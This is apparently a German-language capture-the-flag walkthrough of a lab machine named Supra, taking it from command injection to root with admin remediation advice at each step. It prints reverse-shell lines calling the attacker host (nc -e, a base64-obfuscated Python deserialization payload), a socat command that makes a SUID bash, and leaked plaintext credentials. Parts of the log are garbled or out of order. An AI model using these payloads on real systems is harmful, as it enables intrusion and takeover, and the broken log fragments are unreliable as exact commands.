Initial Access (Reverse Shell)

**Analyse:** Ausführung des im POC beschriebenen Command Injection Payloads, um eine Reverse Shell zu erhalten.

listening on [any] 9001 ...
connect to [192.168.2.153] from (UNKNOWN) [192.168.2.109] 44372 <-- Verbindung erhalten!
/bin/sh: 0: can't access tty; job control turned off
$ 

**Analyse:** Der Netcat-Listener auf dem Angreifer-System (`192.168.2.153`, Port 9001) empfängt die eingehende Verbindung vom Zielsystem (`192.168.2.109`). Eine einfache `/bin/sh`-Shell wird präsentiert. Die Meldung "can't access tty; job control turned off" weist darauf hin, dass es sich um eine nicht-interaktive Shell ohne vollen Terminal-Support handelt.

**Bewertung:** Erfolg! Der Command Injection Exploit hat funktioniert und eine Reverse Shell wurde etabliert. Der Angreifer hat nun initialen Zugriff auf das System als der Benutzer, unter dem die Node.js-Anwendung läuft (vermutlich `www-data`).

**Empfehlung (Pentester):** Stabilisieren Sie die Shell, um volle Interaktivität zu erlangen (z.B. mit Python PTY Spawn). Führen Sie dann `id` aus, um den aktuellen Benutzer zu bestätigen.
**Empfehlung (Admin):** Command Injection Schwachstelle beheben. Analysieren Sie die Kompromittierung.

*
                                               Stabilisiere Reverse Shell
=

[1]  + continued  nc -lvnp 9001
                               reset <-- Optional: Terminal zurücksetzen -->

**Analyse:** Die erhaltene einfache Shell wird stabilisiert: 1. `python3 -c 'import pty;pty.spawn("/bin/bash")'`: Startet eine interaktive Bash-Shell mittels Python. Der Prompt ändert sich zu `www-data@Supra:~/api$`. 2. `export TERM=xterm`: Setzt die Terminal-Variable für korrekte Darstellung. 3. `^Z` (Strg+Z): Legt die aktuelle Shell (den `nc`-Prozess auf dem Angreifer-System) in den Hintergrund. 4. `stty raw -echo`: Konfiguriert das lokale Terminal des Angreifers so, dass Tastatureingaben direkt und ohne Echo weitergeleitet werden (wichtig für PTY-Shells). 5. `fg`: Holt den `nc`-Prozess (und damit die stabilisierte Shell) wieder in den Vordergrund. 6. `reset` (optional): Setzt das Terminal zurück, falls die Darstellung fehlerhaft ist.

**Bewertung:** Standardverfahren zur Stabilisierung einer einfachen Reverse Shell. Der Angreifer hat nun eine voll funktionsfähige interaktive Bash-Shell als Benutzer `www-data` auf dem Zielsystem.

**Empfehlung (Pentester):** Beginnen Sie mit der Enumeration als `www-data`.
**Empfehlung (Admin):** Keine spezifische Aktion hier, außer der Behebung der ursprünglichen Schwachstelle.

=
                                Die Shell war scheisse deswegen habe ich eine neue aufgebaut:
* 

app.js	node_modules  package.json  package-lock.json  start.sh  uploads  views

**Analyse:** Eine Notiz besagt, dass die erste Shell "scheisse war" (möglicherweise instabil oder Probleme bei der Stabilisierung) und eine neue aufgebaut wurde. Der Befehl `nc -e /bin/bash 192.168.2.153 5555` versucht, eine weitere Reverse Shell zu starten, diesmal auf Port 5555. Die Option `-e` (execute) ist bei vielen modernen `nc`-Versionen aus Sicherheitsgründen nicht mehr verfügbar oder muss explizit einkompiliert werden.

**Bewertung:** Es ist unklar, ob der zweite Shell-Versuch erfolgreich war oder benötigt wurde. Die Stabilisierungsschritte für die erste Shell auf Port 9001 wurden jedoch gezeigt. Der Befehl `nc -e` funktioniert oft nicht mehr. Der Rest des Logs scheint sich auf die (möglicherweise zweite?) Shell zu beziehen, die stabilisiert wird.

**Empfehlung (Pentester):** Verwenden Sie zuverlässige Methoden zur Shell-Stabilisierung (wie Python PTY) oder nutzen Sie stabilere Payloads/Tools (z.B. Meterpreter, wenn anwendbar). Wenn `nc -e` nicht funktioniert, verwenden Sie denselben Command-Injection-Trick erneut mit einem anderen Listener-Port oder alternative Reverse-Shell-Payloads.
**Empfehlung (Admin):** Entfernen Sie unnötige Netzwerk-Tools wie `nc` vom System, wenn sie nicht für administrative Zwecke benötigt werden.

$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@Supra:~/api$ export TERM=xterm
export TERM=xterm
www-data@Supra:~/api$ ^Z
zsh: suspended  nc -lvnp 9001 <-- Fehlerhafte Kopie? Listener-Befehl hier? -->

┌──(root㉿cyber)-[~]
└─# stty raw -echo;fg
[1]  + continued  nc -lvnp 9001 <-- Fehlerhafte Kopie? Listener-Befehl hier? -->
                               reset

www-data@Supra:~/api$ 

**Analyse:** Dieser Block scheint eine fehlerhafte Wiederholung der Shell-Stabilisierungsschritte zu sein, wobei fälschlicherweise der Listener-Befehl (`nc -lvnp 9001`) in die Ausgabe kopiert wurde.

**Bewertung:** Ignorieren Sie diesen Block als Duplikat/Fehler im Log. Die Shell wurde bereits zuvor stabilisiert.

**Empfehlung (Pentester):** Achten Sie auf saubere Dokumentation während des Pentests.
**Empfehlung (Admin):** Keine.

Privilege Escalation (www-data -> it404)

**Analyse:** Enumeration als `www-data`, um Wege zur nächsten Eskalationsstufe zu finden.

it404

local.txt

cat: local.txt: Permission denied

bash: sudo: command not found

-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

**Analyse:** 1. Wechsel in das `/home`-Verzeichnis und Auflisten des Inhalts. Es existiert ein Benutzerverzeichnis `it404`. 2. Wechsel in `/home/it404` und Auflisten des Inhalts. Eine Datei namens `local.txt` wird gefunden (vermutlich die User-Flag). 3. Versuch, `local.txt` zu lesen, schlägt fehl (`Permission denied`), da `www-data` nicht die nötigen Rechte hat. 4. Versuch, `sudo -l` auszuführen, schlägt fehl (`command not found`), was bedeutet, dass `sudo` entweder nicht installiert ist oder nicht im PATH von `www-data` liegt. Dies schließt eine Eskalation über Sudo-Regeln aus.

**Bewertung:** Der Benutzer `it404` wurde als nächstes Ziel identifiziert. Direkter Zugriff auf seine Flag oder Eskalation über `sudo` ist für `www-data` nicht möglich. Es müssen andere Wege gefunden werden, um als `it404` agieren zu können.

**Empfehlung (Pentester):** Suchen Sie weiter nach Schwachstellen oder Fehlkonfigurationen: * Überprüfen Sie laufende Prozesse (`ps aux`) und Netzwerkverbindungen (`ss -tulnp`, `netstat -an`). Gibt es Dienste, die lokal laufen und eventuell ausgenutzt werden können? * Suchen Sie nach Konfigurationsdateien im Web-Root (`/var/www/`, `/opt/api/`) oder anderen Orten, die Zugangsdaten enthalten könnten. * Prüfen Sie auf Cronjobs (`ls -la /etc/cron.*`). * Suchen Sie nach Kernel-Exploits (`uname -a`).
**Empfehlung (Admin):** Stellen Sie sicher, dass Dateiberechtigungen korrekt gesetzt sind (Least Privilege). Installieren Sie `sudo`, wenn es für administrative Aufgaben benötigt wird, und konfigurieren Sie es sicher.

echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat -UNIX-CLIENT:/usr/local/src/socket.s

**Analyse:** Dieser Befehl wird hier im Log gezeigt, gehört aber logisch zur späteren Eskalation von `it404` zu `root`. Er versucht, über `socat` mit einem Unix-Socket (`/usr/local/src/socket.s`) zu kommunizieren und ihm Befehle zu senden, um eine SUID-Bash in `/tmp` zu erstellen.

**Bewertung:** Im Kontext der Eskalation von `www-data` zu `it404` ist dieser Befehl irrelevant. Er deutet jedoch auf einen späteren Eskalationsvektor hin.

**Empfehlung (Pentester):** Ignorieren Sie diesen Befehl vorerst und konzentrieren Sie sich darauf, als `it404` zu gelangen.
**Empfehlung (Admin):** Untersuchen Sie den Zweck und die Sicherheit des Unix-Sockets `/usr/local/src/socket.s`. Wenn er unsicher ist, deaktivieren oder sichern Sie ihn.

Active UNIX domain sockets (servers and established)
unix  2      [ ACC ]     STREAM     LISTENING     11387    /run/dbus/system_bus_socket
unix  6      [ ]         DGRAM                    10633    /run/systemd/journal/socket
unix  2      [ ACC ]     STREAM     LISTENING     11832    /usr/local/src/socket.s <-- Interessanter Socket gefunden! -->
unix  3      [ ]         STREAM     CONNECTED     11666    /run/dbus/system_bus_socket
unix  3      [ ]         STREAM     CONNECTED     11668    /run/dbus/system_bus_socket
unix  3      [ ]         STREAM     CONNECTED     11665    /run/dbus/system_bus_socket
unix  3      [ ]         STREAM     CONNECTED     11667    /run/dbus/system_bus_socket

**Analyse:** Der Befehl `netstat -an | grep socket` (oder alternativ `ss -lx | grep socket`) wird verwendet, um nach aktiven Unix Domain Sockets zu suchen.

**Bewertung:** Neben den Standard-System-Sockets wird ein interessanter Socket gefunden: `/usr/local/src/socket.s`. Dieser Socket lauscht (`LISTENING`) und könnte ein Interprozesskommunikationskanal sein, der potenziell für eine Eskalation missbraucht werden kann, wie der vorherige `socat`-Befehl andeutete.

**Empfehlung (Pentester):** Untersuchen Sie diesen Socket weiter. Wer hat ihn erstellt (`lsof /usr/local/src/socket.s` oder `ps aux | grep [PID von netstat/ss]`)? Welche Rechte hat die Datei (`ls -la /usr/local/src/socket.s`)? Kann `www-data` darauf schreiben? Versuchen Sie, mit `socat` oder `nc -U` damit zu kommunizieren.
**Empfehlung (Admin):** Überprüfen Sie den Zweck dieses Sockets. Wenn er von einer benutzerdefinierten Anwendung stammt, stellen Sie sicher, dass er sicher implementiert ist und keine unautorisierten Befehle entgegennimmt.

accounts.yaml
emails:

  - Gloriawrong@zonnetd.nl
  - cheerfulMark93@atbt.net
  - horribleMicheal30@aliceaedsl.fr
  - Tamaradull@aiam.com
  - Grantitchy@lieve.ca
  - easyAngelica60@heatnet.nl
  - Rebekaheasy@lieve.com
  - zealousKatelyn@ggmail.com
  - depressedBridget62@yahooi.com.ar
  - fierceBrooke@optoniline.net

passwords:

  - 6NpjqVCM
  - mzPdgc9V
  - fpRze8bn
  - x4Lm3W6M
  - tYUBN6Qx
  - 8zNBxXcd
  - X48UYKrw
  - xEfjB39C
  - Wk956r4a
  - UKQC5q2awww-data@Supra:/opt/api$ <-- Prompt hier fehl am Platz -->

**Analyse:** Der Pentester führt von seiner Maschine aus einen `curl`-Befehl gegen Port 8082 des Ziels aus, um den Endpunkt `/read-leaked-accounts` abzufragen. *Anmerkung: Nmap hatte Port 8082 nicht als offen angezeigt. Es ist wahrscheinlich, dass dieser Port nur lokal auf dem Zielsystem lauscht (Loopback-Interface 127.0.0.1) und der curl-Aufruf eigentlich aus der `www-data`-Shell hätte erfolgen müssen.* Die Ausgabe ist eine YAML-Datei (`accounts.yaml`), die eine Liste von E-Mail-Adressen und zugehörigen Passwörtern im Klartext enthält.

**Bewertung:** Ein massives Informationsleck! Klartext-Passwörter werden über einen (vermutlich internen) API-Endpunkt preisgegeben. Diese Zugangsdaten könnten für den Benutzer `it404` oder andere Dienste gültig sein.

**Empfehlung (Pentester):** 1. Überprüfen Sie, ob Port 8082 tatsächlich nur lokal lauscht (`ss -lntp | grep 8082` oder `netstat -lntp | grep 8082` in der `www-data`-Shell). 2. Führen Sie den `curl`-Aufruf von der `www-data`-Shell aus: `curl 127.0.0.1:8082/read-leaked-accounts`. 3. Versuchen Sie, sich mit den geleakten E-Mail/Passwort-Kombinationen bei SSH (als Benutzer `it404`, falls eine E-Mail passt?) oder anderen potenziellen Diensten anzumelden. *Da der nächste Schritt Python Deserialization beinhaltet, ist es wahrscheinlich, dass einer dieser Accounts (z.B. `fierceBrooke@optoniline.net`) für einen Exploit auf einem anderen Endpunkt von Port 8081 relevant ist.*
**Empfehlung (Admin):** Entfernen Sie sofort den `/read-leaked-accounts`-Endpunkt und die zugrundeliegende `accounts.yaml`-Datei. Speichern Sie niemals Passwörter im Klartext. Untersuchen Sie, warum dieser interne Dienst existiert und sichern Sie ihn ab (Authentifizierung, Zugriffsbeschränkung).

*
                                                   Privilege Escalation
=

Klone nach 'python-deserialization-attack-payload-generator'...
remote: Enumerating objects: 97, done.
remote: Counting objects: 100% (3/3), done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 97 (delta 0), reused 0 (delta 0), pack-reused 94
Empfange Objekte: 100% (97/97), 35.46 KiB | 1.42 MiB/s, fertig.
Löse Unterschiede auf: 100% (49/49), fertig.

insgesamt 48
-rw-r--r-- 1 root root 35149 21. Okt 15:57 LICENSE
-rw-r--r-- 1 root root  3904 21. Okt 15:57 peas.py
-rw-r--r-- 1 root root   354 21. Okt 15:57 README.md
-rw-r--r-- 1 root root    30 21. Okt 15:57 requirements.txt

**Analyse:** Der Pentester klont auf seiner lokalen Maschine ein GitHub-Repository, das ein Werkzeug (`peas.py`) zur Generierung von Payloads für Python-Deserialisierungsangriffe enthält. Das Skript wird ausführbar gemacht.

**Bewertung:** Dies deutet darauf hin, dass eine Python-Deserialisierungs-Schwachstelle auf dem Zielsystem vermutet oder identifiziert wurde, wahrscheinlich in der internen API auf Port 8081.

**Empfehlung (Pentester):** Untersuchen Sie die interne API auf Port 8081 (erreichbar aus der `www-data`-Shell via `curl 127.0.0.1:8081/...`) auf Endpunkte, die serialisierte Daten (vermutlich Python Pickles) entgegennehmen. Verwenden Sie `peas.py`, um einen geeigneten Payload (z.B. für eine Reverse Shell) zu generieren.
**Empfehlung (Admin):** Überprüfen Sie die interne API auf die Verwendung unsicherer Deserialisierungsfunktionen (wie `pickle.load`). Ersetzen Sie diese durch sichere Alternativen (z.B. JSON mit Validierung) oder implementieren Sie strikte Validierung und Signierung der serialisierten Daten.

=
 wget http://192.168.2.153:8000/haccounts-vuln.yaml -O accounts.yaml <-- Fehlerhaftes Kommando oder falscher Kontext -->
curl 192.168.2.109:8082/read-leaked-accounts <-- Erneuter Aufruf? -->

"__import__('os').system(str(__import__('base64').b64decode('cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9z3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0p3MuY29ubmVjdCgoIjE5Mi4xNjguMi4xNTMiLDY2Nikp29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEp29zLmR1cDIocy5maWxlbm8oKSwyKTtpbXBvcnQgcHR5yBwdHkuc3Bhd24oImJhc2giKSc=').decode()))"

#

cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9z3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0p3MuY29ubmVjdCgoIjE5Mi4xNjguMi4xNTMiLDY2Nikp29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEp29zLmR1cDIocy5maWxlbm8oKSwyKTtpbXBvcnQgcHR5yBwdHkuc3Bhd24oImJhc2giKSc=

**Analyse:** Dieser Block enthält verschiedene Elemente: 1. Ein `wget`-Befehl, der wahrscheinlich fehlerhaft ist oder aus einem anderen Kontext stammt. 2. Ein erneuter `curl`-Aufruf zum Auslesen der geleakten Accounts (redundant). 3. Ein Python-Code-Snippet, das einen Base64-kodierten String dekodiert und den resultierenden Befehl mit `os.system()` ausführt. Dies ist der Deserialisierungs-Payload, der von `peas.py` (oder einem ähnlichen Tool) generiert wurde. 4. Der Base64-kodierte String selbst wird nochmals separat gezeigt.

**Bewertung:** Der Kern ist der Python-Deserialisierungs-Payload. Der Base64-dekodierte Befehl ist eine Python3-Reverse-Shell, die sich zur Angreifer-IP `192.168.2.153` auf Port `666` verbindet. Dieser Payload muss an den verwundbaren Endpunkt der internen API (Port 8081) gesendet werden.

**Empfehlung (Pentester):** 1. Identifizieren Sie den genauen Endpunkt und die Methode (POST/GET?), um den Deserialisierungs-Payload an die API auf 127.0.0.1:8081 zu senden (aus der `www-data`-Shell). Dies erfordert wahrscheinlich die Analyse der API, z.B. durch Lesen des Quellcodes (`app.js`?) oder weiteres Fuzzing. 2. Starten Sie einen Listener auf dem Angreifer (`192.168.2.153`) auf Port 666: `nc -lvnp 666`. 3. Senden Sie den Payload an den verwundbaren Endpunkt.
**Empfehlung (Admin):** Beheben Sie die Deserialisierungs-Schwachstelle.

tcp   LISTEN 0      128                                     127.0.0.1:8081              0.0.0.0:*
tcp   LISTEN 0      20                                      127.0.0.1:25                0.0.0.0:*

curl: (7) Failed to connect to 192.168.2.109 port 8081: Connection refused

Supra Internals

Not Found
The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.

Internal Server Error
The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.

**Analyse:** Aus der `www-data`-Shell werden Netzwerkverbindungen und die interne API untersucht: 1. `ss -an | grep 127.0.0.1`: Bestätigt, dass Port 8081 (und der Mailserver auf Port 25) nur auf dem Loopback-Interface (127.0.0.1) lauscht und nicht von außen erreichbar ist. 2. `curl http://192.168.2.109:8081`: Der Versuch, von außen auf Port 8081 zuzugreifen, schlägt erwartungsgemäß fehl ("Connection refused"). 3. `curl 127.0.0.1:8081`: Zugriff auf die Wurzel der internen API gelingt und gibt "Supra Internals" zurück. 4. `curl 127.0.0.1:8081/fierceBrooke@optoniline.net`: Versuch, eine der geleakten E-Mails als Endpunkt aufzurufen, führt zu einem 404 (Not Found). 5. `curl 127.0.0.1:8081/read-leaked-accounts`: Der erneute Versuch, die Konten von innen abzurufen, führt nun zu einem 500 (Internal Server Error). Möglicherweise wurde die `accounts.yaml`-Datei verschoben oder der Endpunkt funktioniert nicht mehr korrekt, nachdem er einmal aufgerufen wurde.

**Bewertung:** Bestätigt, dass Port 8081 nur intern erreichbar ist. Die API existiert, aber der genaue Endpunkt für den Deserialisierungsangriff ist noch nicht klar identifiziert oder wird hier nicht gezeigt. Der Fehler 500 bei `/read-leaked-accounts` könnte auf Probleme in der Anwendung hindeuten.

**Empfehlung (Pentester):** Der nächste Schritt (Empfang der Shell als `it404`) impliziert, dass der Deserialisierungs-Payload erfolgreich an einen (nicht gezeigten) Endpunkt der API auf 127.0.0.1:8081 gesendet wurde. Dies erforderte wahrscheinlich weiteres Fuzzing oder Analyse des API-Codes.
**Empfehlung (Admin):** Sichern Sie die interne API ab. Entfernen Sie unnötige Endpunkte. Implementieren Sie Authentifizierung und Autorisierung. Beheben Sie die Deserialisierungs-Schwachstelle und den Internal Server Error.

*

listening on [any] 666 ...
connect to [192.168.2.153] from (UNKNOWN) [192.168.2.109] 35992 <-- Verbindung erhalten!

**Analyse:** Der Netcat-Listener auf Port 666 (Angreifer-IP `192.168.2.153`) empfängt eine Verbindung vom Zielsystem (`192.168.2.109`). Der Shell-Prompt zeigt `it404@Supra:/opt/api$`. (*Impliziert: Der Python-Deserialisierungs-Payload wurde erfolgreich an die interne API gesendet.*)

**Bewertung:** Erfolg! Der Python-Deserialisierungsangriff war erfolgreich und hat eine Reverse Shell mit den Rechten des Benutzers `it404` erzeugt. Die Privilegieneskalation von `www-data` zu `it404` ist abgeschlossen.

**Empfehlung (Pentester):** Stabilisieren Sie die Shell (falls nötig). Führen Sie Enumeration als `it404` durch (`id`, `sudo -l`, `ls -la ~`, etc.). Suchen Sie nach der User-Flag (`local.txt`) und Wegen zur Root-Eskalation.
**Empfehlung (Admin):** Beheben Sie die Deserialisierungs-Schwachstelle.

local.txt

51cd198c3850df9cbca35f2d7609a5cc

it404 <-- Ausgabe des Benutzernamens hier? -->

=

**Analyse:** Als Benutzer `it404` wird in das Home-Verzeichnis gewechselt. Die Datei `local.txt` wird gefunden und ihr Inhalt (`51cd198c3850df9cbca35f2d7609a5cc`) wird ausgegeben. Die zusätzliche Ausgabe "it404" ist unklar, möglicherweise ein Artefakt oder Teil des Dateiinhalts.

**Bewertung:** Die User-Flag wurde erfolgreich gelesen.

**Empfehlung (Pentester):** User-Flag notiert. Konzentrieren Sie sich nun auf die Eskalation zu Root.
**Empfehlung (Admin):** Keine spezifische Aktion hier.

Privilege Escalation (it404 -> root)

**Analyse:** Als Benutzer `it404` wird nach dem letzten Schritt zur Erlangung von Root-Rechten gesucht. Der Fokus liegt auf dem zuvor entdeckten Unix-Socket.

Active UNIX domain sockets (servers and established)
unix  2      [ ACC ]     STREAM     LISTENING     11387    /run/dbus/system_bus_socket
unix  6      [ ]         DGRAM                    10633    /run/systemd/journal/socket
unix  2      [ ACC ]     STREAM     LISTENING     11832    /usr/local/src/socket.s <-- Der bekannte Socket -->
unix  3      [ ]         STREAM     CONNECTED     11666    /run/dbus/system_bus_socket
[...] (Restliche Verbindungen wie zuvor)

**Analyse:** Erneute Überprüfung der Unix Domain Sockets bestätigt das Vorhandensein des lauschenden Sockets `/usr/local/src/socket.s`.

**Bewertung:** Bestätigt das Ziel für den nächsten Eskalationsversuch.

**Empfehlung (Pentester):** Überprüfen Sie die Berechtigungen des Sockets (`ls -la /usr/local/src/socket.s`) und den Prozess, der ihn besitzt. Wenn `it404` darauf schreiben kann, versuchen Sie, Befehle über `socat` zu senden.
**Empfehlung (Admin):** Socket untersuchen und absichern.

echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - 127.0.0.1:/usr/local/src/socket.s <-- Falsches Zielformat -->


echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - 192.168.2.109/usr/local/src/socket.s <-- Falsches Zielformat -->
=
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - 11832/usr/local/src/socket.s <-- Falsches Zielformat -->

┌──(root㉿cyber)-[~]echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s <-- Falscher Pfad? -->
└─# <-- Fehlerhafter Prompt -->

**Analyse:** Dieser Block zeigt mehrere Versuche oder Überlegungen des Pentesters, den `socat`-Befehl zu konstruieren, um mit dem Unix-Socket zu interagieren. Die meisten Formate sind falsch (`127.0.0.1:...`, `192.168.2.109/...`, `11832/...`). Der letzte Versuch (`socat - UNIX-CLIENT:/tmp/socket_test.s`) verwendet das korrekte Format für Unix-Sockets (`UNIX-CLIENT:`), aber einen falschen Pfad (`/tmp/socket_test.s` statt `/usr/local/src/socket.s`). Der Befehl, der an den Socket gesendet werden soll, ist klar: Kopiere `/bin/bash` nach `/tmp/bash`, setze das SUID-Bit (`chmod +s`) und mache es ausführbar (`chmod +x`).

**Bewertung:** Zeigt den Denkprozess und die Schwierigkeit, die korrekte `socat`-Syntax zu finden. Der Plan ist, den Prozess, der auf dem Socket lauscht (vermutlich mit Root-Rechten), dazu zu bringen, eine SUID-Bash zu erstellen.

**Empfehlung (Pentester):** Verwenden Sie den korrekten `socat`-Befehl aus der `it404`-Shell: `echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/usr/local/src/socket.s`.
**Empfehlung (Admin):** Der Socket nimmt offenbar unsanitisierte Befehle entgegen und führt sie aus. Dies ist eine massive Schwachstelle. Der lauschende Prozess muss identifiziert und korrigiert oder der Socket entfernt werden.

#

bash <-- Datei erstellt!
f <-- Überbleibsel der Reverse Shell Pipe -->
systemd-private-80e015c41f404e2cab8f2fdf890b8879-apache2.service-KCLeCi
systemd-private-80e015c41f404e2cab8f2fdf890b8879-systemd-logind.service-Rrdmci
systemd-private-80e015c41f404e2cab8f2fdf890b8879-systemd-timesyncd.service-FR5nyg

**Analyse:** 1. Der korrekte `socat`-Befehl wird nun aus der `it404`-Shell ausgeführt, um die Befehle zum Erstellen der SUID-Bash an den Unix-Socket zu senden. 2. `ls` im `/tmp`-Verzeichnis zeigt, dass die Datei `bash` erfolgreich erstellt wurde. 3. Die SUID-Bash wird mit `/tmp/bash -p` ausgeführt. Die Option `-p` sorgt dafür, dass die effektiven Rechte (Root, aufgrund des SUID-Bits) beibehalten werden.

**Bewertung:** Erfolg! Der Prompt wechselt zu `bash-5.1#`, was eine Root-Shell anzeigt. Der unsichere Unix-Socket konnte ausgenutzt werden, um eine SUID-Kopie von Bash zu erstellen und damit Root-Rechte zu erlangen.

**Empfehlung (Pentester):** Führen Sie `id` aus, um die Root-Rechte zu bestätigen. Lesen Sie die Root-Flag (`/root/proof.txt`).
**Empfehlung (Admin):** Beheben Sie die Schwachstelle mit dem Unix-Socket `/usr/local/src/socket.s`. Entfernen Sie die erstellte SUID-Bash `/tmp/bash`.

local.txt

proof.txt

3d7121ef7752d55a72c938af2248d777

**Analyse:** In der Root-Shell wird zuerst `cd` und `ls` ausgeführt, was `local.txt` zeigt (wahrscheinlich, weil `/tmp/bash -p` das aktuelle Verzeichnis beibehält, das `/tmp` war, oder weil `cd` ohne Argument zum Home des *ursprünglichen* Benutzers `it404` wechselt?). Dann wird explizit nach `/root` gewechselt, `ls` zeigt `proof.txt`, und der Inhalt wird mit `cat` ausgegeben.

**Bewertung:** Die Root-Flag (`3d7121ef7752d55a72c938af2248d777`) wurde erfolgreich aus `/root/proof.txt` gelesen.

**Empfehlung (Pentester):** Beide Flags gefunden, Ziel erreicht.
**Empfehlung (Admin):** Keine spezifische Aktion hier.